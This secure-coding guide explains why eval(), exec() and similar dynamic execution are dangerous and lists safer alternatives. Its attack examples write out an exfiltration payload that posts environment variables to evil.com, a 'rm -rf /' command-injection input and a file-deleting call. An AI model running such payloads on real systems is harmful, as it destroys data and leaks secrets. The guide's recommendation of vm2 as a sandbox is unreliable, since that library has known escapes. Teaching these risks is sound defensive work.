Avoid eval() and exec() Patterns

// Prevents dangerous code execution patterns that create security vulnerabilities

SecurityBest Practices
Highly Rated
Community Verified

// detailed.guidelines

# Avoid eval() and exec() Patterns

Never use eval(), exec(), or similar dynamic code execution. They're security nightmares.

## Why This is Dangerous

Dynamic code execution allows:
- **Code injection attacks** - Attackers run arbitrary code
- **Data theft** - Access to sensitive information
- **System compromise** - Full system control
- **Hard to audit** - Static analysis tools can't catch issues

## Dangerous Patterns - Never Use

### JavaScript eval()
```javascript
// NEVER DO THIS
const userInput = req.body.code;
eval(userInput);  // User can execute ANY code

const formula = "price * quantity";
const result = eval(formula);  // Dangerous

eval("console.log('test')");  // Always dangerous
```

### Function Constructor
```javascript
// NEVER - Same as eval()
const fn = new Function('x', userInput);
fn(data);  // Can execute arbitrary code
```

### setTimeout/setInterval with Strings
```javascript
// NEVER
setTimeout("doSomething()", 1000);  // Eval in disguise
setInterval(userCode, 100);  // Dangerous
```

### Node.js exec/spawn with Unsanitized Input
```javascript
// EXTREMELY DANGEROUS
const { exec } = require('child_process');
exec(`ls ${userInput}`);  // Command injection

exec("rm " + filename);  // Shell injection risk
```

### Python eval/exec
```python
# NEVER
user_code = request.form['code']
eval(user_code)  # Full Python execution

exec("print('test')")  # Always dangerous
```

### SQL Query Building
```javascript
// NEVER - SQL Injection
const query = "SELECT * FROM users WHERE id = " + userId;
db.query(query);  // Can inject SQL
```

## Attack Examples

### Example 1: Code Injection
```javascript
// Vulnerable code
const calc = (formula) => eval(formula);

// Attacker sends:
calc("require('fs').unlinkSync('/important/file.txt')")
// Deletes files!
```

### Example 2: Data Theft
```javascript
// Vulnerable code
eval(userInput);

// Attacker sends:
"fetch('https://evil.com', { 
  method: 'POST', 
  body: JSON.stringify(process.env) 
})"
// Steals all environment variables including secrets!
```

### Example 3: Command Injection
```javascript
// Vulnerable code
exec(`ping ${userIP}`);

// Attacker sends:
"8.8.8.8; rm -rf /"
// Executes: ping 8.8.8.8; rm -rf /
```

## Safe Alternatives

### Instead of eval() for Math
```javascript
// Bad
const result = eval("2 + 2 * 3");

// Good - Use a safe math parser
import { evaluate } from 'mathjs';
const result = evaluate("2 + 2 * 3");  // Sandboxed math only

// Or build an expression tree
const ops = { '+': (a,b) => a+b, '*': (a,b) => a*b };
```

### Instead of eval() for Object Access
```javascript
// Bad
const value = eval(`data.${userInput}`);

// Good - Safe property access
const value = data[userInput];

// Or with validation
const allowedProps = ['name', 'email', 'age'];
const value = allowedProps.includes(userInput) 
  ? data[userInput] 
  : null;
```

### Instead of new Function()
```javascript
// Bad
const fn = new Function('x', 'return ' + userFormula);

// Good - Use a DSL or parser
const operations = {
  add: (a, b) => a + b,
  multiply: (a, b) => a * b
};

// Or use a safe expression evaluator
```

### Instead of setTimeout with String
```javascript
// Bad
setTimeout("doSomething()", 1000);

// Good
setTimeout(() => doSomething(), 1000);
setTimeout(doSomething, 1000);
```

### Instead of exec() for System Commands
```javascript
// Bad
exec(`ls ${userPath}`);

// Good - Use libraries with proper sanitization
const { readdir } = require('fs/promises');
const files = await readdir(sanitizePath(userPath));

// Or validate and whitelist
const allowedCommands = ['ls', 'pwd', 'whoami'];
if (!allowedCommands.includes(userCmd)) {
  throw new Error('Invalid command');
}
```

### Instead of Dynamic SQL
```javascript
// Bad
db.query("SELECT * FROM users WHERE id = " + userId);

// Good - Parameterized queries
db.query("SELECT * FROM users WHERE id = ?", [userId]);

// Or ORM
User.findById(userId);
```

## Safe Patterns

### Use Whitelisting
```javascript
// Define allowed operations
const allowedOperations = {
  add: (a, b) => a + b,
  subtract: (a, b) => a - b,
  multiply: (a, b) => a * b
};

// Use only whitelisted operations
function calculate(operation, a, b) {
  if (!(operation in allowedOperations)) {
    throw new Error('Invalid operation');
  }
  return allowedOperations[operation](a, b);
}
```

### Use Sandboxing
```javascript
// For complex cases, use a sandboxed environment
const { VM } = require('vm2');

const vm = new VM({
  timeout: 1000,
  sandbox: {
    // Only expose what's needed
    data: safeData
  }
});

// Runs in isolated environment
const result = vm.run(userCode);
```

### Validate All Input
```javascript
function sanitizePath(userPath) {
  // Remove path traversal attempts
  if (userPath.includes('..')) {
    throw new Error('Invalid path');
  }
  
  // Whitelist characters
  if (!/^[a-zA-Z0-9_/-]+$/.test(userPath)) {
    throw new Error('Invalid characters');
  }
  
  // Ensure within allowed directory
  const resolved = path.resolve(userPath);
  if (!resolved.startsWith('/allowed/directory')) {
    throw new Error('Path outside allowed directory');
  }
  
  return resolved;
}
```

## When You Think You Need eval()

### For Configuration
```javascript
// Instead of:
eval(configString);

// Use:
JSON.parse(configString);
// Or YAML, TOML, etc.
```

### For Templates
```javascript
// Instead of:
eval(`\`Hello ${name}\``);

// Use:
`Hello ${name}`;  // Template literals
// Or a template engine
```

### For Dynamic Properties
```javascript
// Instead of:
eval(`obj.${prop}`);

// Use:
obj[prop];
```

### For Math Expressions
```javascript
// Instead of:
eval(mathExpression);

// Use:
import mathjs from 'mathjs';
mathjs.evaluate(mathExpression);
```

## Code Review Checklist

Flag for security review if you see:
- [ ] eval()
- [ ] new Function()
- [ ] exec() with user input
- [ ] setTimeout/setInterval with strings
- [ ] Dynamic require() or import()
- [ ] String concatenation in SQL queries
- [ ] Unvalidated user input in system commands
- [ ] innerHTML with user content
- [ ] document.write() with user data

## Safe Alternatives Summary

| Dangerous Pattern | Safe Alternative |
|------------------|------------------|
| `eval(mathExpr)` | Use mathjs or build expression tree |
| `eval("obj." + prop)` | Use `obj[prop]` with validation |
| `new Function(code)` | Use whitelist of allowed functions |
| `exec(userInput)` | Use libraries with proper APIs |
| `"SELECT * FROM " + table` | Parameterized queries |
| `setTimeout("code()", 100)` | `setTimeout(() => code(), 100)` |
| `innerHTML = userInput` | `textContent` or sanitize with DOMPurify |

## The Golden Rules

1. **Never trust user input** - Always validate and sanitize
2. **Use parameterization** - For SQL, shell commands, etc.
3. **Whitelist, don't blacklist** - Define what's allowed
4. **Use safe libraries** - Don't roll your own parser
5. **Sandbox if necessary** - vm2, iframes with restrictions
6. **Validate output too** - Defense in depth

If you think you need eval(), you almost certainly don't.
There's always a safer alternative.